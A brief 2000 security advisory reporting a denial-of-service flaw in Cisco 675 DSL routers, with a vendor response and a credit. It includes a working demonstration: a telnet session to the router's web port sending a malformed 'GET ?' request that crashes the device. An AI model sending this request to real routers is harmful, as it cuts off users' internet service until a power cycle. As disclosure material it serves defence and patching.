Cisco 675 DSL Router Vulnerable to DoS Attack

Reported November 28, 2000 by CDI

VERSIONS AFFECTED

DESCRIPTIONCisco 675 DSL Routers are vulnerable to a denial of service attack.  A malicious attacker could cause the router to crash and require a power cycle to restore Internet services.  

Demonstration

By establishing a Telnet session to the Web Administrator interface via HTTP TCP port 80 an attacker can cause the router to crash.

Here is an example as supplied by CDI;

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Telnet victim.ip.address:80Trying victim.ip.address....Connected to victim.ip.addressEscape Character is '^}'.

GET ? [LF][LF]

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VENDOR RESPONSE

Cisco has responded to this issue and will be releasing an advisory and fix shortly.

CREDITDiscovered by CDI